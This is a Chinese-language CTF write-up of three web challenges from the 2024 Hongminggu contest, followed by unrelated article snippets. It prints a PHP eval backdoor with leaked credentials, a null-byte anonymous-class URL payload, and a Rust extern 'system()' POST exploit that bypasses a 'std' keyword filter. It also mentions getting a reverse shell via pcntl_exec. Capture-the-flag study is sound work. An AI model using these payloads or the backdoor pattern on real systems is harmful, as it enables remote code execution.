【2024红明谷】三道Web题目的记录

红明谷

文章目录

  • 红明谷
    • Web1 | SOLVED Later
    • Web2 | UNSOLVED
    • Web3 | SOLVED

容器已经关咯,所以有些场景只能靠回忆+描述啦,学习为主,题目只是一个载体~

本次比赛学习为主,确实再一次感受到久违的web题目的魅力了,可能也是好久没做的原因哈哈

Web1 | SOLVED Later

开题后首先一个界面是一个php界面,其中提供了一个post参数f

但是这个参数是什么都执行不了的。

所以我们需要进行侧信道攻击

其中具体原理不清楚,但是最后的工具确实可以一把梭

image-20240403183514925

读取到这里就OK了 不需要全爆的

因为我们的目的在于获得这个正确的参数值ezphpPhp8

加上参数后可以正常访问到界面

本来一气呵成,直接触发一个getflag 多完美,但是就偏偏出了个unset把匿名类给销毁了,这。。。

既然是销毁的匿名类,我们就去找一下如何触发匿名类

image-20240403184023204

https://hi-arkin.com/archives/php-anonymous-stdClass.html

但是每次的列数具有一定的随机性,所以上bp多跑几次就OK了

image-20240403184143961

payload:

http://eci-2zehaurgvwox6uxhazeh.cloudeci1.ichunqiu.com/flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$12

Web2 | UNSOLVED

扫一下目录发现

www.zip泄露

image-20240403141152570

拿到用户名和密码登录

后面就卡主了,赛后请教了一下其他师傅,记录一下思路吧,后面学习(环境无了 好难受

<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
    header('WWW-Authenticate: Basic realm="Restricted Area"');
    header('HTTP/1.0 401 Unauthorized');
    echo '小明是运维工程师,最近网站老是出现bug。';
	exit;
} else {
    $validUser = 'admin';
    $validPass = '2e525e29e465f45d8d7c56319fe73036';
	if ($_SERVER['PHP_AUTH_USER'] != $validUser || $_SERVER['PHP_AUTH_PW'] != $validPass) {
   		header('WWW-Authenticate: Basic realm="Restricted Area"');
    	header('HTTP/1.0 401 Unauthorized');
		echo 'Invalid credentials';
		exit;
	}
}
@eval($_GET['cmd']);
highlight_file(__FILE__);
?>

这里关注cmd这个点,学习无参数rce是什么

无参rce

image-20240403191739444

然后去读取一些内容

尤其是在读/usr/local/etc/php/php.ini 这个 可以发现pcntl_exec 这个函数没有被禁用

https://www.php.net/manual/en/function.pcntl-exec.php

学习一下这个函数怎么用,然后利用该函数反弹shell

Web3 | SOLVED

关键题目代码:

#[post("/rust_code", data = "<code>")]
fn run_rust_code(code: String) -> String{
    if code.contains("std") {
        return "Error: std is not allowed".to_string();
    }
    //generate a random 5 length file name
    let file_name = rand::thread_rng()
        .sample_iter(&rand::distributions::Alphanumeric)
        .take(5)
        .map(char::from)
        .collect::<String>();
    if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {
        file.write_all(code.as_bytes());
    }
    if let Ok(build_output) = Command::new("rustc")
        .arg(format!("playground/{}.rs",&file_name))
        .arg("-C")
        .arg("debuginfo=0")
        .arg("-C")
        .arg("opt-level=3")
        .arg("-o")
        .arg(format!("playground/{}",&file_name))
        .output() {
        if !build_output.status.success(){
            fs::remove_file(format!("playground/{}.rs",&file_name));
            return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();
        }
    }
    fs::remove_file(format!("playground/{}.rs",&file_name));
    if let Ok(output) = Command::new(format!("playground/{}",&file_name))
        .output() {
        if !output.status.success(){
            fs::remove_file(format!("playground/{}",&file_name));
            return String::from_utf8_lossy(output.stderr.as_slice()).to_string();
        } else{
            fs::remove_file(format!("playground/{}",&file_name));
            return String::from_utf8_lossy(output.stdout.as_slice()).to_string();
        }
    }
    return String::default();

}

解题:

首先看到rust,不熟的语言加上解出的人很多,就应该在语言上没有设置太大障碍吧,拷打gpt!

路由非常明确:post(“/rust_code”

post传参 ,传到/rust_code 路由下

这段 Rust 代码是一个 Rocket Web 框架中的一个处理 POST 请求的路由处理函数。以下是对代码中每一行的解释:

#[post("/rust_code", data = "<code>")]: 这是一个 Rocket 框架的路由宏,用于定义一个处理 POST 请求的路由,该路由的路径为 /rust_code,并且期望接收名为 code 的数据作为请求体。

fn run_rust_code(code: String) -> String {: 这是一个函数定义,用于处理接收到的 POST 请求,函数名为 run_rust_code,接收一个 String 类型的参数 code,并返回一个 String 类型的结果。

!!!!!注意这里 在上waf  禁用了std
if code.contains("std") { return "Error: std is not allowed".to_string(); }: 这行代码检查接收到的 code 是否包含字符串 "std"。如果包含,则返回一个表示错误信息的字符串 "Error: std is not allowed"。

let file_name = rand::thread_rng() ... .collect::<String>();: 这行代码生成一个随机的文件名,使用 Rust 的 rand 库来生成随机字符,并拼接成一个长度为 5 的字符串作为文件名。

if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) { file.write_all(code.as_bytes()); }: 这段代码创建一个新文件,并将接收到的 code 写入该文件中。如果文件创建成功,则将 code 写入文件中。

if let Ok(build_output) = Command::new("rustc") ... { ... }: 这段代码调用系统命令 rustc 来编译刚刚写入的 Rust 代码文件。编译完成后,会产生一个可执行文件。

fs::remove_file(format!("playground/{}.rs",&file_name));: 这行代码删除之前创建的 Rust 代码文件,以保持环境的清洁。

if let Ok(output) = Command::new(format!("playground/{}",&file_name)) ... { ... }: 这段代码运行刚刚编译生成的可执行文件,并将其输出捕获到变量 output 中。

return String::default();: 如果以上步骤都成功执行,则返回一个默认的空字符串作为结果。

简单来说,用户上传代码,只要不包含std,会被这个程序执行,并输出结果

然后我们的目标是通过system函数执行命令,但是system属于外部函数,需要我们声明一下

POST /rust_code HTTP/1.1
Host: eci-2zee51
...
Cache-Control: no-cache
Content-Length: 134

//声明外部函数 C语言库函数
extern "C" {
    fn system(cmd: *const u8) -> i32;
}

fn main() {
	// Rust 中的 unsafe 块,用于执行不受 Rust 安全机制保护的操作
    unsafe {
        system("cat /flag".as_ptr());
    }
}

flag{91857cfb-7512-4760-afd8-f370e33f1112}

END:

本场Web的难度真的非常喜欢哈哈哈,中等,非常适合我,就是一眼不会,稍微看看或许能理解,仔细想想就能解出的状态,非常好,继续加油!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/514516.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【SpringCloud】Ribbon 负载均衡

目 录 一.负载均衡原理二.源码跟踪1. LoadBalancerIntercepor2. LoadBalancerClient3. 负载均衡策略 IRule4. 总结 三.负载均衡策略1.负载均衡策略2.自定义负载均衡策略 四.饥饿加载 在 order-service 中 添加了 LoadBalanced 注解&#xff0c;即可实现负载均衡功能&#xff0c…

网络安全基础之网络协议与安全威胁

OSI(OpenSystem Interconnect)&#xff0c;即开放式系统互联。 一般都叫OSI参考模型&#xff0c;是ISO(国际标准化组织)组织在1985年研究的网络互联模型。 网络协议的简介&#xff1a; 定义&#xff1a;协议是网络中计算机或设备之间进行通信的一系列规则集合。 什么是规则?…

Leetcode442. 数组中重复的数据

Every day a Leetcode 题目来源&#xff1a;442. 数组中重复的数据 解法1&#xff1a;将元素交换到对应的位置 由于给定的 n 个数都在 [1,n] 的范围内&#xff0c;如果有数字出现了两次&#xff0c;就意味着 [1,n] 中有数字没有出现过。 因此&#xff0c;我们可以尝试将每一…

【Pt】马灯贴图绘制过程 04-玻璃脏迹

目录 效果 步骤 一、透明玻璃 二、烟熏痕迹 三、粗糙 四、浮尘 效果 步骤 一、透明玻璃 1. 打开纹理集设置&#xff0c;着色器链接选择“新的着色器链接” 在着色器设置中可以看到此时名称为“Main shader &#xff08;Copy&#xff09;” 这里修改名称为“玻璃” 在…

redis群集有三种模式

目录 redis群集有三种模式 redis群集有三种模式 分别是主从同步/复制、哨兵模式、Cluster ●主从复制&#xff1a;主从复制是高可用Redis的基础&#xff0c;哨兵和集群都是在主从复制基础上实现高可用的。主从复制主要实现了数据的多机备份&#xff0c;以及对于读操作的负载均…

C++ 静态库与动态库的生成和使用:基于 VS Studio 生成 newmat 矩阵库的静态库与动态库

文章目录 Part.I IntroductionChap.I 预备知识Chap.II 静态库与动态库区分 Part.II 静态库的生成与使用 (newmat)Chap.I 生成静态库Chap.II 使用静态库 Part.III 动态库的生成与使用 (newmat)Chap.I 生成动态库Chap.II 使用动态库 Part.IV 文件内容Chap.I test.cpp (静态库)Cha…

5G智慧地铁数字孪生可视化平台,推进铁路行业数字化转型

随着科技的快速发展&#xff0c;5G智慧地铁数字孪生可视化平台正逐渐成为铁路行业数字化转型的重要推动力。巨蟹数科数字孪生平台集成了5G通信技术、大数据分析、云计算和人工智能等先进技术&#xff0c;通过构建数字孪生模型&#xff0c;实现对地铁运营全过程的实时监控、预测…

rocketmq的运维

1. admintool创建topic的时候 -o 的用法含义 https://rocketmq.apache.org/zh/docs/4.x/producer/03message2/ 有关orderMessageEnable和returnOrderTopicConfigToBroker的设置可以参考 https://blog.csdn.net/sdaujsj1/article/details/115741572 -c configFile通过-c命令指…

大模型prompt技巧——思维链(Chain-of-Thought)

1、Zero-shot、One-shot、Few-shot 与fintune prompt的时候给出例子答案&#xff0c;然后再让模型回答。 2、zero-shot-CoT “Let’s think step by step”有奇迹效果 3、多数投票提高CoT性能——自洽性&#xff08;Self-consistency&#xff09; 多个思维链&#xff0c;然后取…

【深度学习】sdwebui的token_counter,update_token_counter,如何超出77个token的限制?对提示词加权的底层实现

文章目录 前言关于token_counter关于class StableDiffusionProcessingTxt2Img(StableDiffusionProcessing)如何超出77个token的限制&#xff1f;对提示词加权的底层实现Overcoming the 77 token limit in diffusers方法1 手动拼方法2 compel 问询、帮助请看&#xff1a; 前言 …

跟着Kimi Chat学习提示工程Prompt Engineering!让AI更高效地给你打工!

大家好&#xff0c;我是木易&#xff0c;一个持续关注AI领域的互联网技术产品经理&#xff0c;国内Top2本科&#xff0c;美国Top10 CS研究生&#xff0c;MBA。我坚信AI是普通人变强的“外挂”&#xff0c;所以创建了“AI信息Gap”这个公众号&#xff0c;专注于分享AI全维度知识…

【JavaWeb】百度地图API SDK导入

百度地图开放平台 | 百度地图API SDK | 地图开发 (baidu.com) 登录注册&#xff0c;创建应用&#xff0c;获取AK 地理编码 | 百度地图API SDK (baidu.com) 需要的接口一&#xff1a;获取店铺/用户 所在地址的经纬度坐标 轻量级路线规划 | 百度地图API SDK (baidu.com) 需要的…

Fastjson 1.2.47 远程命令执行漏洞复现分析环境

Fastjson 1.2.47 远程命令执行漏洞 1、靶机环境安装 1.1、虚机机linux环境参数 1、操作系统&#xff1a;CentOS Linux release 7.4.1708 (Core) 2、IP&#xff1a;192.168.127.1321.1、docker与docker compose安装 1.2、下载https://github.com/vulhub/vulhub/tree/master/…

Golang | Leetcode Golang题解之第8题字符串转换整数atoi

题目&#xff1a; 题解&#xff1a; func myAtoi(s string) int {abs, sign, i, n : 0, 1, 0, len(s)//丢弃无用的前导空格for i < n && s[i] {i}//标记正负号if i < n {if s[i] - {sign -1i} else if s[i] {sign 1i}}for i < n && s[i] >…

java数据结构与算法刷题-----LeetCode417. 太平洋大西洋水流问题

java数据结构与算法刷题目录&#xff08;剑指Offer、LeetCode、ACM&#xff09;-----主目录-----持续更新(进不去说明我没写完)&#xff1a;https://blog.csdn.net/grd_java/article/details/123063846 文章目录 深度优先遍历 深度优先遍历 解题思路&#xff1a;时间复杂度O( …

【计算机视觉】四篇基于Gaussian Splatting的SLAM论文对比

本文对比四篇论文&#xff1a; [1] Gaussian Splatting SLAM [2] SplaTAM: Splat, Track & Map 3D Gaussians for Dense RGB-D SLAM [3] Gaussian-SLAM: Photo-realistic Dense SLAM with Gaussian Splatting [4] GS-SLAM: Dense Visual SLAM with 3D Gaussian Splatting …

RTX RTOS 操作实例分析之---线程(thread)

0 Preface/Foreword 1 线程&#xff08;thread&#xff09; 1.1 线程定义 1.1.1 USE_BASIC_THREADS&#xff08;宏定义&#xff09; 经过以上步骤&#xff08;makefile包含&#xff09;&#xff0c;USE_BASIC_THREADS在编译阶段被定义到相应的模块中。 1.1.2 定义线程ID变量…

element-ui collapse 组件源码分享

今日简单分享 collapse 组件的源码实现&#xff0c;主要分为四个方面&#xff1a; 1、collapse 组件页面结构 2、collapse 组件属性 3、collapse 组件事件 4、collapse item 组件属性 一、collapse 组件页面结构 二、collapse 组件属性 2.1 value/v-model 属性&#xff0…

Linux终端人性化vimrc编辑配置

目录 vim常用操作 扩展之批量注释 扩展之批量替换 .vimrc pyhon代码补全功能安装 效果预览 .bashrc 终端命令行预览时间 vim常用操作 常用的操作有很多&#xff0c;基本上总会用到的例如 x 删除当前字母 dd 删除正行 i 当前光标插入数据 a 当前位置后插入数据 …

安装Schedule库的方法最终解答!_Python第三方库

安装Python第三方库Schedule 我的环境&#xff1a;Window10&#xff0c;Python3.7&#xff0c;Anaconda3&#xff0c;Pycharm2023.1.3 Schedule库 Schedule 是一个轻量级、功能强大而灵活的任务调度工具库&#xff0c;用于在指定的时间间隔内执行任务。为用户提供了简单易用的…